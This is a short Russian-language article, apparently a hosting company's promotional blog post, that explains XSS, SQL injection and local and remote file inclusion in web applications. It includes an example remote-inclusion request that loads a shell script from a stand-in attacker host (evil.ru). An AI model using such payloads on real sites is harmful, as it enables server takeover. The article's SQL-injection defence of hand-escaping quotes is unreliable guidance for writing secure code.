С развитием технологий, растет и количество хакеров, а также их возможности, поэтому с каждым годом осуществлять безопасность web-приложений становится все сложнее и сложнее. Если ваше web-приложение представляет для вас ценность и вы не хотите, чтобы оно было взломано, вам непременно стоит задуматься о его безопасности, если вы этого еще не сделали. Даже простое падение сайта может привести к значительному простою его работы, а, следовательно и к потерям клиентов и прибыли, что уж говорить о взломе.
Основные угрозы
Угрозы веб-безопасности приложений, вызванные их уязвимостями, можно разделить на три основных типа:
- XSS атаки, которые можно разделить еще на два вида (подробнее об этом читайте ниже);
- SQL-инъекции;
- Инклуды, которые делятся на локальные и удаленные.
Для того, чтобы знать, как вести себя в случае возникновения опасности, возникающий из-за наличия уязвимости в безопасности веб-приложения, нужно понимать, что представляет из себя угроза и откуда она берется. Чтобы разобраться с этим, изучим подробнее описанные выше виды угроз.
XSS атаки
Данное сокращение переводится как межсайтовый скриптинг. Такой метод взлома веб-приложений используется хакерами для того, чтобы вставить вредоносный код в html вашего сайта. Такой вредоносный JavaScript код, естественно, выполняется без ведома посетителя сайта.
При активном межсайтовом скриптинге вредоносный код сохраняется в файлах web-приложения и при запросах к нему выводится напрямую. Отличие пассивного межсайтового скриптинга состоит в том, что код не сохраняется на сервере, а передается GET/POST параметром для вывода на страницу.
Итоговая цель таких атак состоит в том, чтобы, воспользовавшись уязвимостью, создать вредоносную ссылку, и после того, как администратор или пользователь ресурса пройдет по этой ссылке, украсть его cookies. Подобным опасностям подвержены многие сайты и даже очень крупные проекты, так что не стоит недооценивать XSS атаки. Для того, чтобы бороться с такими угрозами, нужно соблюдать главное правило — делать htmlspecialchars полей, а также подвергать теги html жесткой фильтрации.
SQL-инъекции
Это такой вид уязвимости в безопасности web-приложений который позволяет хакерам изменить или дополнить данные в sql-запросе на свои, несущие вред. Благодаря этому хакеры получают доступ практически к любым данным ресурса и могут заполучить доступ к серверу. Иногда у злоумышленников получается даже выполнить php-код, что также непременно приведет потере данных и доступа к сайту. Для того, чтобы бороться с подобного типа уязвимостями, есть два основных правила:
- Во-первых, нужно обязательно фильтровать кавычки в коде, причем делать это абсолютно везде: в $_GET, $_POST, $_COOKIES. К примеру, можно заменить “‘” на “\‘” .
- Во-вторых, очень не желательно в запросах применять конструкции, подобного рода: …where id = $id…, вместо них следует использовать, например, …where id = ‘$id’, но, когда кавычки уже отфильтрованы, к примеру, как в пункте выше.
Инклуды
С помощью этих уязвимостей в безопасности хакеры получают возможность, применив нужный запрос, вывести содержимое сайта стороннего ресурса внутри атакуемого. Благодаря этому хакер получает доступ ко всей информации сервера, путем вставки своего вредоносного кода, к примеру, скрипта, управляющего всеми данными ресурса. Уязвимый код может выглядеть примерно следующим образом:
site.ru/index.php?page=main.html
В случае исполнения такого кода, вся информация, хранящаяся в файле main.html будет выведена на страницу сайта. Если злоумышленник выполнит другой запрос, например:
site.ru/index.php?page=http://evil.ru/shellcode.php
То в данном случае он сможет получить всю необходимую информацию для доступа к серверу. Такой инклуд называется удаленным. В случае отсутствия определенного конфига сервера, такой инклуд может стать локальным, то есть дающим доступ к содержимому всех файлов сервера.
Вывод
Существует еще достаточно большое количество уязвимостей web-приложений помимо описанных выше, и любой ресурс или приложение, наверняка, им подвержен. Тем не менее, подготовившись к трем самым распространенным угрозам и избавившись от уязвимостей, вы можете обеспечить веб-безопасность своему проекту, а также его надежное функционирование. Самое главное, быть заранее готовым к угрозе и вовремя производить все нужные настройки для ее предотвращения и устранения имеющихся уязвимостей.
Клиенты AdminVPS всегда уверены в безопасности своих сайтов и избавлены от необходимости администрировать сайты, так как это бесплатно делает служба технической поддержки, которая также обеспечивает оптимальную настройку для повышения безопасности ресурсов.